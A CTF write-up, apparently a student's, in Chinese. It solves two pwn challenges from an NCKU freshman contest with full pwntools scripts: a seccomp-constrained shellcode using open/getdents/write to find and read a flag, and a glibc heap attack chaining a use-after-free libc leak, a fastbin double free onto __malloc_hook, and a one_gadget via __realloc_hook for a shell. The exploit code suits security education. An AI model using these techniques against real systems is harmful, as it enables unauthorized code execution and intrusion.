# 成大迎新盃 Write up 來寫一些酷酷的 pwn 題吧 ## pwn ## Yet Another Username and Password Checker Revenge 就是可以寫一個 shellcode,那一段是可寫可執行的,下面有明顯的 `bof` ,只是他有開 `seccomp` ```cpp int __fastcall main(int argc, const char **argv, const char **envp) { char buf[40]; // [rsp+0h] [rbp-30h] BYREF void *addr; // [rsp+28h] [rbp-8h] setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); addr = (void *)((unsigned __int64)&username & 0xFFFFFFFFFFFFF000LL); mprotect((void *)((unsigned __int64)&username & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7); apply_seccomp(); puts("Welcome to Yet Another Username and Password Checker Revenge!"); printf("Username: "); read(0, &username, 0x28uLL); printf("Password: "); read(0, buf, 0x40uLL); puts("Wrong username/password! Please try again."); return 0; } ``` 來看看他能用什麼吧: ```bash ┌─[rota1001@rota1001] - [~/NCKUCTF] - [Tue Oct 15, 11:47] └─[$] <> seccomp-tools dump ./yaupc-revenge line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0018 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0018: 0x15 0x00 0x01 0x0000004e if (A != getdents) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x15 0x00 0x01 0x0000013e if (A != getrandom) goto 0022 0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0022: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0024 0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0024: 0x15 0x00 0x01 0x00000059 if (A != readlink) goto 0026 0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0026: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0028 0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0028: 0x06 0x00 0x00 0x00000000 return KILL ``` 看起來基本的 `orw` 都可以開,看看能不能讀 `flag` 吧,可是 `flag` 的名稱不知道,只知道他在某個資料夾下。這個時候去看看還有什麼東西可以用。查了資料發現 `getdents` 可以將以某個將以某個 `file descripter` 開啟的資料夾裡面的東西寫到某個記憶體位置上。於是我們進行以下步驟: - `open` 開啟資料夾 - `getdents` 寫到可寫的記憶體位置 - `write` 把東西寫到 `stdout` 另外出現一個小問題,`username` 那裡只能寫 `0x28` 個 bytes,但是我們的 shellcode 太長了,於是我們可以先去呼叫 `read` ,讀 shellcode 到我們執行完 `read` 的那裡,執行完後就會開始執行我們的 shellcode 我首先先去看 `flag` 的名稱: ```python from pwn import * r = remote("chall.nckuctf.org", 29105, level="debug") elf = context.binary = ELF("./yaupc-revenge") sc = 0x4040A0 payload = asm(shellcraft.read(0, sc + 23, 500)) print(len(payload)) r.sendafter(b": ", payload) r.sendafter(b": ", b"a" * 56 + p64(sc)) payload = shellcraft.open("/home/yaupc-revenge/") payload += shellcraft.getdents(3, 0x405000, 500) payload += shellcraft.write(1, 0x405000, 500) payload = asm(payload) print(len(payload)) r.sendafter(b"\n", payload) r.interactive() ``` 然後會發現 `flag` 的名稱是 `flag_34a611c6f7934545f1f0c13a61ee2eea` 接下來就去讀檔: ```python from pwn import * r = remote("chall.nckuctf.org", 29105, level="debug") elf = context.binary = ELF("./yaupc-revenge") sc = 0x4040A0 payload = asm(shellcraft.read(0, sc + 23, 500)) print(len(payload)) r.sendafter(b": ", payload) r.sendafter(b": ", b"a" * 56 + p64(sc)) payload = shellcraft.open("/home/yaupc-revenge/flag_34a611c6f7934545f1f0c13a61ee2eea", 0) payload += shellcraft.read(3, 0x405000, 500) payload += shellcraft.write(1, 0x405000, 500) payload = asm(payload) print(len(payload)) r.sendafter(b"\n", payload) r.interactive() ``` 就可以得到 `flag` : ||NCKUCTF{U_r3a11Y_UNd3rst4nd_SeCc0Mp_anD_Sh31LC0d3_e3da68cc2ca0375a61d305273692b4be}|| ## babyheap 他是一個可以增加新的任意大小的記憶體,傳任意筆記上去,然後可以刪除,或是輸出筆記的內容。會發現,他在 `free` 之後不會把指標清空,所以有 `UAF` 漏洞。然後 `unsorted_bin` 的尾端會接到 `main_arena`,他是在 `libc` 上的東西,所以我們可以透過把東西 `free` 到 `unsorted bin` 再 `show` 來 leak libc address。要注意的是不要讓他和 `top chunk` 合起來就好。 ```python add(0x100, b"a") add(0x100, b"a") #off = 31285248 delete(0) delete(1) libc.address = u64(show(0)[:-1].ljust(8, b"\x00")) - 0x3c4b78 print(hex(libc.address)) ``` 接下來我們要去控制 `rip`,方法是去修改 `malloc_hook`,當我們在呼叫 `malloc` 時,如果他不是 `0` 的話,那麼 `rip` 就會跳上去他所存的記憶體位置,所以我們可以修改他來控制 `rip`。 因為 `free` 完不會清空指針,而他 `free` 時只會檢查指針是不是 `NULL`,所以可以做到 `double free`。我們在 `fastbin` 上做到這件事,只要讓兩次的 `free` 出來的 block 不要在 `fastbin` 中相鄰就好。 ```python add(0x60, b"a") # 2 add(0x60, b"a") # 3 delete(2) delete(3) delete(2) ``` 這樣的話,我們在 `fastbin` 中就有兩個相同的 block,我們可以先把一個弄出來,然後把他的內容前八個 bytes 變成我們想修改的位置。接下來在把第二個 block 拿出來的時候,他的下一個 block 就會變成我們想改的位置,再把他拿出來就能改裡面的值。現在的問題是當他在從 `fastbin` 中拿出一個東西時會去檢查看看他是不是一個合法的 `block`,所以我們要去找一個看起來像是真的 block,而且又在那附近的記憶體位置。我們可以在 `gdb` 中用以下指令: ```bash pwndbg> find_fake_fast 0x7906299c4b10 0x7f Searching for fastbin size fields up to 0x70, starting at 0x7906299c4aa8 resulting in an overlap of 0x7906299c4b10 FAKE CHUNKS Fake chunk | PREV_INUSE Addr: 0x7906299c4aed prev_size: 0x6299c3260000000 size: 0x78 (with flag bits: 0x79) fd: 0x629685e20000000 bk: 0x629685a00000079 fd_nextsize: 0x79 bk_nextsize: 0x00 pwndbg> pi hex(0x7906299c4b10-0x7906299c4aed) '0x23' ``` 會發現,我們可以找到一個大小為 0x70 的 block (如果去掉 header 的話是 0x60),然後他的位置在 `__malloc_hook - 0x23` 的地方(這個位置是 header 的位置,實際上分配到的是 `__malloc_hook - 0x13`),於是我們可以用這個 block 來蓋到 `__malloc_hook`。然後我們找一個 one_gadget 塞到上面,發現沒有可以用的 one_gadget,怎麼辦呢? 這個時候就要用到 `__realloc_hook`。因為呼叫 `realloc` 的時候前面有很多的 `push`,可以用他們來調整 `rsp` 的位置,讓 `one gadget` 可以用(這裡就是漫長的 gdb 時間了),而 `__realloc_hook` 的位置是在 `__malloc_hook` 前面的那八個 bytes,可以簡單的蓋掉。 ```python add(0x60, p64(libc.sym["__malloc_hook"] - 0x23)) # 4 add(0x60, b"a") #5 add(0x60, b"a") #6 one_gadget = p64(libc.address + 0xf1147) realloc = p64(libc.address + 0x846D4) # 0xf02a4 # 0xf1147 print(hex(u64(one_gadget))) add(0x60, b"a" * (0x13 - 8) + one_gadget + realloc) #7 ``` 最後去隨便呼叫一下 `malloc` 就可以執行 shell 了,以下是完整的 exploit: ```python from pwn import * # r = process("./chal", level="debug") # r = process("./chal") r = remote("chall.nckuctf.org", 29104) elf = context.binary = ELF("./chal") libc = ELF("./libc.so.6") raw_input() def add(size: int, data: bytes): r.sendlineafter(b">\n", b"1") r.sendlineafter(b":", str(size).encode()) if data != b"": r.sendlineafter(b":", data) def delete(idx: int): r.sendlineafter(b">\n", b"3") r.sendlineafter(b":", str(idx).encode()) def show(idx: int): r.sendlineafter(b">\n", b"2") r.sendlineafter(b":", str(idx).encode()) return r.recvline() add(0x100, b"a") add(0x100, b"a") #off = 31285248 delete(0) delete(1) libc.address = u64(show(0)[:-1].ljust(8, b"\x00")) - 0x3c4b78 print(hex(libc.address)) # 0x3c4b10 add(0x60, b"a") # 2 add(0x60, b"a") # 3 delete(2) delete(3) delete(2) print(hex(libc.sym["__malloc_hook"])) add(0x60, p64(libc.sym["__malloc_hook"] - 0x23)) # 4 add(0x60, b"a") #5 add(0x60, b"a") #6 one_gadget = p64(libc.address + 0xf1147) realloc = p64(libc.address + 0x846D4) # 0xf02a4 # 0xf1147 print(hex(u64(one_gadget))) add(0x60, b"a" * (0x13 - 8) + one_gadget + realloc) #7 add(0x20, b"") r.interactive() ```